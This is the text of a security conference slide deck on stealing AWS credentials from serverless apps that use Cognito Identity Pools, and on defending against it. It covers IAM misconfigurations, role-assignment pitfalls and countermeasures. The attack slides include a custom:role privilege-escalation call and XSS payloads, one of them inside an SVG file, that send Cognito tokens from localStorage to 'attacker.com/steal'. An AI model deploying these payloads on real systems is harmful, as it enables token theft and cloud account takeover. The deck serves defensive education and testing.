From Browser to Cloud Administrator ๐Ÿค” - AVTokyo 2025

>100 Views

December 16, 25

ใ‚นใƒฉใ‚คใƒ‰ๆฆ‚่ฆ

Amazon Cognito Identity Pool้–ข้€ฃใฎใ‚ปใ‚ญใƒฅใƒชใƒ†ใ‚ฃ็™บ่กจ

ใ‚ทใ‚งใ‚ข

ๅŸ‹ใ‚่พผใ‚€ »CMSใชใฉใงJSใŒไฝฟใˆใชใ„ๅ ดๅˆ

ใƒ€ใ‚ฆใƒณใƒญใƒผใƒ‰

้–ข้€ฃใ‚นใƒฉใ‚คใƒ‰

ๅ„ใƒšใƒผใ‚ธใฎใƒ†ใ‚ญใ‚นใƒˆ
1.

AVTokyo 2025 Session From Browser to Cloud Administrator ? Modern Credential Access in AWS Serverless https://x.com/a_zara_n https://github.com/a-zara-n ๐Ÿ”— https://misc.azara.jp Azara / NORIHIDE Saito (@a_zara_n)

2.
[beta]
TL;DR

"SSRF to EC2 IMDS" is a well-known technique for stealing credentials from applications. However, with
IMDSv2 becoming the default and increased awareness of this attack, it has become harder to exploit.
(Great news!)
This session explores how AWS credentials might be stolen from a different angle...
1 Serverless application architecture with AWS and "Amazon Cognito Identity Pool"
2 Evaluating serverless applications: "Is it okay for credentials to be visible?"
3 Permission management with Cognito Identity Pool and implementation "pitfalls"
4 AWS serverless application security from a MITRE ATT&CK perspective
This session is for engineers who test serverless applications from a security perspective and those
interested in AWS security.

2/35

3.

Background Implementation Pitfalls Attack & Defense Serverless Application Architecture with AWS Centered on Amazon Cognito Identity Pool Is it okay for credentials to be visible? Section Topics 1 What is Serverless? 2 What is Amazon Cognito? 3 Architecture Examples 4 Is it appropriate for IAM credentials to reach the browser?

4.

S erverless Architecture and Typical Configuration This session focuses on architectures where "browsers obtain AWS Credentials from Identity Pool and directly access S3/DynamoDB". The attack target is direct AWS resource access without going through API Gateway + Lambda. โญ What is Serverless โšก Typical Architecture Characteristics: Frontend: โ— No server management/provisioning โ— SPA delivery via CloudFront + S3 โ— Auto-scaling Backend: โ— Pay-per-use โ— API Gateway + Lambda โ— Event-driven โ— Authorization with User Pools Access Token Key Services: Direct Access (Today's Focus): โ— Lambda, API Gateway, DynamoDB, S3 โ— Identity Pools โ†’ AWS Credentials โ— Cognito (Authentication/Authorization) โ— Direct access to S3/DynamoDB 4/35

5.

T wo Functions of Amazon Cognito User Pools issue JWTs, Identity Pools issue AWS Credentials. Today's focus is Identity Pools. ๐Ÿ“– User Pools โญ Identity Pools Handles User Authentication Handles AWS Resource Access โ— Sign-up/Sign-in โ— Issues temporary AWS credentials โ— MFA, Password policies โ— Links to IAM roles โ— JWT token issuance โ— Distinguishes authenticated/unauthenticated users โ— Social login integration โ— Fine-grained access control Issues ID Token / Access Token Issues AWS Credentials ๐Ÿ‘€ ้‡่ฆ Today's focus is Identity Pools - the mechanism that provides AWS credentials to browsers 5/35

6.

W hy Use Cognito Identity Pool? Reduces costs and accelerates development without Lambda. However, IAM policy misconfigurations can lead to data leaks via the browser. It's secure when configured properly, but dangerous with misconfigurations. โญ Benefits for Developers ๐Ÿ“– Security Perspective โ— No backend needed: Direct S3/DynamoDB โ— Temporary credentials: Time-limited (~1 hour) access without Lambda/API Gateway โ— Least privilege: Fine-grained IAM policy control โ— Cost reduction: Reduces server maintenance and โ— Variable substitution: Per-user data isolation Lambda execution costs โ— Audit: CloudTrail / S3 access logs / DynamoDB โ— Scalability: Leverages AWS infrastructure Streams โ— Development speed: User Pool for auth, Identity Secure when properly configured Pool + IAM for authz Dangerous with misconfigurations ๐Ÿ—’๏ธ ใƒŽใƒผใƒˆ About Audit Logs: CloudTrail data events (S3 object-level operations, DynamoDB table operations) are disabled by default. Enabling them incurs additional costs but is essential for security auditing. 6/35

7.

I AM Credentials in the Browser - Is This Normal? This is a feature officially provided by AWS, and it's normal by design. However, credentials can be stolen via XSS, and whether their permissions are appropriate is the real concern. Normal by Design But the problems are... โ— Feature officially provided by AWS โ— Credentials can be stolen via XSS โ— Temporary credentials (STS) โ— Are the credential permissions appropriate? โ— Time-limited โ— Can other users' data be accessed? โ— Should follow least privilege principle โ— Is privilege escalation possible? โš ๏ธ ่ญฆๅ‘Š Understanding the boundary between "visible but safe" and "visible and problematic" is crucial 7/35

8.

Background Implementation Pitfalls Attack & Defense Apps Access Control and Permission Management Using Amazon Cognito Identity Pool and Its Pitfalls Understanding ABAC and RBAC Section Topics 1 Permission Control with Cognito Identity Pool 2 RBAC/ABAC with AWS Policies 3 Common Implementation Pitfalls 4 Role Assignment Pitfalls

9.
[beta]
I dentity Pool Permission Control Mechanism
Authenticated users can be restricted to user-specific paths with ${cognito-identity.amazonaws.com:sub} .
For unauthenticated users (guest access), restrict to public/* only and never allow dangerous actions like
Scan.
Authenticated Users
Unauthenticated Users
Users authenticated via Cognito User Pools, etc.
Guest access (when enabled)
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::bucket/${cognitoidentity.amazonaws.com:sub}/*"
}

Restricted to user-specific paths via ${cognito-

{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::bucket/public/*"
}

Access only to public resources

identity.amazonaws.com:sub}

9/35

10.

R BAC vs ABAC RBAC controls by roles like Admin/User/Guest - simple and manageable but coarse-grained. ABAC controls by attributes like department=sales - fine-grained but complex. Cognito Identity Pool typically uses both combined. RBAC ABAC Role-Based Access Control Attribute-Based Access Control โ— Control based on roles โ— Control based on attributes (tags) โ— Admin, User, Guest, etc. โ— User attributes, resource attributes โ— Simple and manageable โ— Fine-grained control possible โ— Coarse-grained control โ— Complex but flexible Admin โ†’ Full resource access User โ†’ Own resources only Guest โ†’ Public resources only ๐Ÿ’ก Static permission management department=sales โ†’ Sales data only project=alpha โ†’ Alpha project only โœ… Dynamic permission management 10/35

11.
[beta]
A WS RBAC Implementation Example
Admin allows s3:* / dynamodb:* on specified resources (app-data bucket, Users/Orders/Products tables).
User restricts access to their own folder using variable substitution.
Admin Role
User Role
{

{
"Effect": "Allow",
"Action": ["s3:*", "dynamodb:*"],
"Resource": [
"arn:aws:s3:::app-data/*",
"arn:aws:dynamodb:*:*:table/Users",
"arn:aws:dynamodb:*:*:table/Orders",
"arn:aws:dynamodb:*:*:table/Products"
]

}

"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::bucket/${cognitoidentity.amazonaws.com:sub}/*"
}

Access only to own data

Full access to specified resources

11/35

12.
[beta]
A WS ABAC Implementation Example
Map Cognito custom attributes (custom:department, etc.) to IAM tags, allowing access only to resources
with the same department tag. This enables flexible access control while reducing the number of roles.
Principal Tag Control
Identity Pool Configuration
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::bucket/*",
"Condition": {
"StringEquals": {
"s3:ExistingObjectTag/department":
"${aws:PrincipalTag/department}"
}
}
}

Access only to same department's data

# Map Cognito attributes to IAM tags
principal_tags = {
"department" = "custom:department"
"project"
= "custom:project"
}

Benefits:
โ— Reduces number of roles
โ— Flexible access control
โ— Auto-applied based on attributes

12/35

13.
[beta]
P itfall 1: Overly Permissive Roles
When Resource: "*" from development remains in production, all S3 buckets and DynamoDB tables
become accessible. Restrict to own folder with variable substitution ${cognito-identity.amazonaws.com:sub}
and minimize actions.
Dangerous Example
Safe Example
{

{
"Effect": "Allow",
"Action": ["s3:*", "dynamodb:*"],
"Resource": "*"

}

โ— Access to all S3 buckets
โ— Access to all DynamoDB tables
โ— Other users' data visible

"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::bucket/${cognitoidentity.amazonaws.com:sub}/*"
}

โ— Specific actions only
โ— Own folder only

13/35

14.
[beta]
P itfall 2: Overly Permissive Unauthenticated Access
Allowing dynamodb:Scan for unauthenticated users (guest access) enables retrieval of the entire table
without authentication. Restrict to GetItem and Query only - never allow Scan.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:Query",
"dynamodb:Scan" // โ† Can retrieve all items
],
"Resource": "arn:aws:dynamodb:*:*:table/UserData"
}
]
}

๐Ÿšจ ๆณจๆ„
Allowing Scan action enables unauthenticated users to retrieve the entire table's data

14/35

15.

T hree Role Assignment Patterns in Identity Pool There are 3 patterns for role assignment. Claim-based has risk of users modifying custom attributes, and User Group method (preferred_role) is most secure. Choose User Group method for security priority. Pattern Use Case Flexibility Security Default Role Claim-based Rules Simple apps RBAC Low Medium Medium Caution preferred_role (User Group) Subscriptions High High User Pool โ†’ Identity Pool โ†’ Role Selection โ†“ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ 1. Default: Fixed role โ”‚ โ”‚ 2. Claim: Branch by custom:roleโ”‚ โ”‚ 3. Token: cognito:preferred_roleโ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ 15/35

16.

P attern 1: Default Role The simplest pattern that assigns the same IAM role to all authenticated users. Suitable for prototypes and small apps. User data isolation is achieved with variable substitution ${cognito-identity.amazonaws.com:sub} . Configuration Use Cases Suitable when โ— All users having same permissions is OK โ— Prototypes/small apps โ— Simplicity is priority Notes โ— Cannot separate permissions per user โ— Authenticated โ†’ One role โ— Data isolation possible with variable substitution โ— Unauthenticated โ†’ One role ${cognito-identity.amazonaws.com:sub} ๐Ÿ’ก Simple resource "aws_cognito_identity_pool_roles_attachment" "main" { identity_pool_id = aws_cognito_identity_pool.main.id roles = { "authenticated" = aws_iam_role.authenticated.arn "unauthenticated" = aws_iam_role.unauthenticated.arn } } 16/35

17.
[beta]
P attern 2: Claim-based Rules
Auto-selects roles based on ID token's custom:role claim value (admin/user/readonly). However, if app
client write permissions are enabled, users can modify custom:role to admin for privilege escalation configuration verification is essential.
Configuration Example (Terraform)
Security Risk
App Client Attribute Write Permissions
mapping_rule {
claim
= "custom:role"
match_type = "Equals"
role_arn
= aws_iam_role.claim_admin.arn
value
= "admin"
}

Role mapping:
โ— admin โ†’ Admin role
โ— user โ†’ Regular user
โ— readonly โ†’ Read-only

// User modifies attribute

await cognito.updateUserAttributes({
UserAttributes: [{ Name: 'custom:role', Value: 'admin' }],
});

Settings to verify:
โ— App client "Write attributes"
โ— Custom attribute mutable setting
โ— Attribute modification API accessibility

17/35

18.
[beta]
P attern 3: preferred_role (User Group) - Recommended
Configure IAM roles for User Groups in User Pool and add users to Groups. Since only administrators can
modify Group membership, there's no privilege escalation risk by end users - AWS's recommended and most
secure method.
How it Works
Auto-set in ID Token
1 Create User Groups in User Pool
2 Configure IAM role for each Group
3 Add users to Groups
Only administrators can change Groups
โ†’ Low privilege escalation risk
{

"cognito:groups": ["premium"],
"cognito:preferred_role": "arn:aws:iam::123:role/premium",
"cognito:roles": ["arn:aws:iam::123:role/premium"]

}

# Add to Premium group

aws cognito-idp admin-add-user-to-group \
--user-pool-id us-east-1_XXX \
--username [email protected] \
--group-name premium

18/35

19.

P itfall 3: Role Assignment Implementation Mistakes Custom attribute methods ( custom:preferred_role , etc.) can be modified by users, creating privilege escalation risk. AWS officially warns against this - use User Group method. When in multiple Groups, the Group with smaller Precedence takes priority. Custom Attribute Method User Group Method Precedence Privilege Escalation Risk Secure Implementation When in multiple Groups: โ— Users can modify โ— Only administrators can custom:role change Groups โ— End users cannot modify โ— App bugs may set invalid role ARNs โ— Audit logs track Group Group with smaller number โ— Insufficient validation leads to changes takes priority Admin access โ— AWS recommended โ†’ premium role is used method AWS Official Warning: "If the claim can be modified by the end user, any end user can assume your role" premium โ†’ precedence = 1 standard โ†’ precedence = 2 trial โ†’ precedence = 3 19/35

20.

Background Implementation Pitfalls Attack & Defense Taking Control of Serverless App Permissions Shouting Exploit from the Browser Section Topics 1 Attack Scenario Overview 5 XSS Attacks Using S3 2 Identity Pool ID Discovery and Credentials Retrieval 6 Limitations of This Approach 3 Permission Enumeration and Escalation Patterns 4 Stealing Admin Tokens via XSS

21.

A ttack Scenario Overview The attack progresses through 5 steps: "Reconnaissance โ†’ Token Analysis โ†’ Credential Retrieval โ†’ Permission Check โ†’ Attack Execution". Token analysis can reveal role assignment patterns from custom attributes and Group information. โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ Recon โ”‚โ”€โ”€ โ”‚ Token โ”‚โ”€โ”€ โ”‚ Creds โ”‚โ”€โ”€ โ”‚ Perm โ”‚Discovery โ”‚ โ”‚ Analysis โ”‚ โ”‚ Retrievalโ”‚ โ”‚ Check โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ Step 1 Identity Pool ID Discovery Step 2 โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚โ”€โ”€ โ”‚ Attack โ”‚ Exploit โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ Step 3 โ”‚ Token Analysis AWS Credentials Retrieval โ— custom:role โ— cognito:groups โ— cognito:preferred_role Step 4 Step 5 Permission Check Attack Execution โ— enumerate-iam 21/35

22.
[beta]
B lack Box Testing: Identifying Identity Pool ID
Monitor requests to cognito-identity.{region}.amazonaws.com in DevTools Network tab, or search for
identityPoolId in JS files in Sources tab to identify the Identity Pool ID. Not secret information, but the
starting point for attacks.
Method 1: Network Monitoring
Method 2: JavaScript Analysis
DevTools โ†’ Network tab
Search within bundled JS files
POST cognito-identity.{region}.amazonaws.com

Request body contains IdentityPoolId
{
"IdentityPoolId": "ap-northeast-1:xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxxxxxx"
}

// In webpack chunk

const config = {
region: 'ap-northeast-1',
identityPoolId: 'ap-northeast-1:xxx...',
};

Search in Sources tab
identityPoolId / IdentityPool

22/35

23.
[beta]
A WS Credentials Retrieval and Verification
AccessKeyId, SecretKey, SessionToken can be retrieved from GetCredentialsForIdentity response in Network
tab. These are temporary credentials valid for ~1 hour, but AWS resources can be freely accessed during
that time.
// Check in Console

AWS.config.credentials
// Or GetCredentialsForIdentity response in Network tab

{
"Credentials": {
"AccessKeyId": "ASIA...",
"SecretKey": "...",
"SessionToken": "...",
"Expiration": "2025-01-15T12:00:00Z"
},
"IdentityId": "ap-northeast-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}

๐Ÿ—’๏ธ ใƒŽใƒผใƒˆ
These credentials are temporary with an expiration (typically 1 hour)

23/35

24.
[beta]
D emo: AWS Credentials Retrieval Flow
Get Identity ID with aws cognito-identity get-id , then get AWS Credentials with get-credentials-foridentity . Verify the obtained role (e.g., assumed-role/claim-admin) with aws sts get-caller-identity .
# Step 1: Get Identity ID

aws cognito-identity get-id \
--identity-pool-id "ap-northeast-1:xxxx" \
--logins "cognito-idp.ap-northeast-1.amazonaws.com/us-east-1_XXX=$ID_TOKEN"
# Step 2: Get AWS Credentials

aws cognito-identity get-credentials-for-identity \
--identity-id "ap-northeast-1:xxxx-xxxx" \
--logins "cognito-idp.ap-northeast-1.amazonaws.com/us-east-1_XXX=$ID_TOKEN"
# Step 3: Verify obtained role

aws sts get-caller-identity

Output example:
{
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/claim-admin/CognitoIdentityCredentials"
}

24/35

25.

P ermission Enumeration - enumerate-iam Enumerate what can be done with obtained credentials using enumerate-iam. If s3:ListBuckets, s3:GetObject on , dynamodb:Scan are found - data leak risk. If iam: or sts:AssumeRole are found - privilege escalation risk. # Set credentials in environment variables export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..." # Enumerate permissions with enumerate-iam python enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID \ --secret-key $AWS_SECRET_ACCESS_KEY \ --session-token $AWS_SESSION_TOKEN Output example: [+] s3:ListBuckets [+] s3:GetObject [+] dynamodb:Scan [+] dynamodb:Query [-] iam:ListUsers (Access Denied) 25/35

26.

P rivilege Escalation Patterns High risk: iam:* (IAM operations), sts:AssumeRole (role switching), lambda:UpdateFunctionCode (function modification). Report immediately if found. dynamodb:Scan + sensitive data is also high risk. Risk Level: High Risk Level: Medium โ— iam:* - IAM operations possible โ— s3:ListBuckets - Bucket listing โ— sts:AssumeRole - Switch to other roles โ— s3:GetObject on * - Get all objects โ— lambda:UpdateFunctionCode - Function modification โ— cognito-idp:* - User pool operations โ— dynamodb:Scan + sensitive data ๐Ÿ’ก May lead to information disclosure โŒ Report immediately if found 26/35

27.
[beta]
A ctual IAM Policy Comparison
Dangerous Admin role allows access to all data with bucket/_ and table/_. Safe User role restricts to own
data using variable substitution and Condition LeadingKeys. This difference determines attack success or
failure.
Admin Role (Dangerous)
User Role (Safe)
{

{
"Effect": "Allow",
"Action": ["s3:*", "dynamodb:*"],
"Resource": [
"arn:aws:s3:::bucket/*",
"arn:aws:dynamodb:*:*:table/*"
]

"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource":
"arn:aws:s3:::bucket/${cognito-identity.amazonaws.com:sub}/*"
},
{

}

"Effect": "Allow",
"Action": ["dynamodb:GetItem", "dynamodb:Query"],
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys":
["${cognito-identity.amazonaws.com:sub}"]
}
}

โŒ Access to all data
}

โœ… Own data only
27/35

28.
[beta]
X SS Attack: Stealing Admin Tokens
Even with limited user permissions, XSS allows stealing ID Token/Access Token/Refresh Token from
localStorage by luring an admin. Use these to get admin AWS Credentials from Identity Pool and access
AWS resources with elevated privileges.
Attack Scenario
What Can Be Obtained
โ— ID Token: User information
1 Discover XSS vulnerability in app
โ— Access Token: API authorization
2 Lure administrator
โ— Refresh Token: Long-term access
3 Steal admin's Cognito tokens
Use these to get admin's
AWS Credentials from Identity Pool
4 Access AWS resources with admin privileges
โŒ High-privilege AWS access
// XSS Payload example

fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
idToken: localStorage.getItem('idToken'),
accessToken: localStorage.getItem('accessToken'),
}),
});

28/35

29.
[beta]
X SS via S3 File Upload (XSSS/XS3)
Embed JavaScript in SVG files and upload to S3 bypassing Content-Type validation ( startsWith('image/') ,
etc.). When admin views in browser, JS executes and tokens are stolen. Common attack in serverless
architectures (S3 + CloudFront).
Attack Method
Prerequisites
โ— File upload functionality exists
SVG Injection
โ— Insufficient Content-Type validation
โ— startsWith('image/') โ† Dangerous
โ— includes('image') โ† Dangerous
โ— Direct delivery from S3
โ— No httpOnly on cookies
Save with Content-Type image/svg+xml
โ†’ Browser executes JavaScript
๐Ÿ’ก Common in serverless architecture
S3 + CloudFront static delivery
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript"> <![CDATA[
fetch('https://attacker.com/steal', { method: 'POST', body:
localStorage.getItem('idToken') }); ]]> </script>
</svg>

29/35

30.

A ttack Chain: S3 XSS to Cognito Token Theft Attack flow: "Malicious SVG upload โ†’ Admin views โ†’ Cognito token theft โ†’ AWS Credentials retrieval". Countermeasures: Content-Type whitelist validation, Magic bytes validation, Content-Disposition: attachment for forced download, CSP headers via CloudFront. โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ Malicious โ”‚โ”€โ”€โ”€โ”€ โ”‚ Admin views โ”‚โ”€โ”€โ”€โ”€ โ”‚ Cognito โ”‚โ”€โ”€โ”€โ”€ โ”‚ AWS โ”‚ SVG Upload โ”‚ โ”‚ file โ”‚ โ”‚ Token theft โ”‚ โ”‚ Credentials โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ Attack Flow 1 Upload SVG bypassing Content-Type validation 2 Request admin to "check this image" 3 Admin views in browser โ†’ JS executes 4 Steal Cognito tokens from localStorage 5 Get admin's AWS Credentials from Identity Pool 6 Access AWS resources with high privileges โ”‚ Countermeasures โ— Strict Content-Type validation โ— Whitelist approach โ— Magic bytes (file header) validation โ— Content-Disposition: attachment โ— Force download to prevent JS execution โ— httpOnly flag on cookies โ— S3 bucket policy restrictions โ— Add CSP headers via CloudFront 30/35

31.

L imitations of This Attack Method If least privilege is followed, ABAC is properly configured, variable substitution is correctly used, unauthenticated access is disabled, and no XSS exists - the attack won't succeed. Conversely, Resource: *, Scan allowed, or XSS present enables the attack. When properly designed and implemented, credentials being visible is safe. โœ… Attack is Difficult When โŒ Attack Succeeds When โ— Least privilege principle is followed โ— Dev permissions left in production โ— Fine-grained ABAC control โ— Resource is * โ— Variable substitution correctly used โ— Scan action is allowed โ— Unauthenticated access disabled โ— Admin role escalation possible โ— WAF / Rate Limiting enabled โ— XSS or other vulnerabilities exist ๐Ÿ—’๏ธ ใƒŽใƒผใƒˆ When properly designed and implemented, credentials being visible is safe 31/35

32.

Background Implementation Pitfalls Summary Attack & Defense Summary

33.
[beta]
K ey Takeaways
From attacker's perspective: Identity Pool ID is easily found via DevTools, AWS Credentials can be obtained,
and combined with XSS can steal admin privileges. From defender's perspective: enforce least privilege,
variable substitution ${cognito-identity...} for data isolation, restrict unauthenticated access, and
implement thorough XSS countermeasures (CSP, input validation, output encoding).
Attacker's Perspective
Defender's Perspective
1 Identity Pool ID is easily found
1 Least privilege principle
โ— Discoverable via DevTools, JS analysis
โ— Only necessary actions/resources
2 AWS Credentials can be obtained
2 Use variable substitution
โ— This itself is normal behavior
โ— Isolate with ${cognito-identity...}
3 Check for permission issues
3 Restrict unauthenticated access
โ— Enumerate with enumerate-iam, etc.
โ— Reconsider if truly needed
4 Combine with XSS
4 Thorough XSS countermeasures
โ— Admin privilege theft possible
โ— CSP, input validation, output encoding
33/35

34.

M ITRE ATT&CK Mapping This attack method maps to T1592 (Reconnaissance), T1528 (Steal Application Access Token), T1087 (Account Discovery), T1078 (Valid Accounts for Privilege Escalation), T1530 (Data from Cloud Storage). Use in security test reports. Tactic Reconnaissance Technique T1592 Description Identity Pool ID discovery Credential Access Discovery Privilege Escalation T1528 T1087 T1078 Steal Application Access Token Account Discovery (IAM) Valid Accounts (Cognito) Collection T1530 Data from Cloud Storage Use in security test reports 34/35

35.

Thank you! Questions? @a_zara_n (X / GitHub) https://misc.azara.jp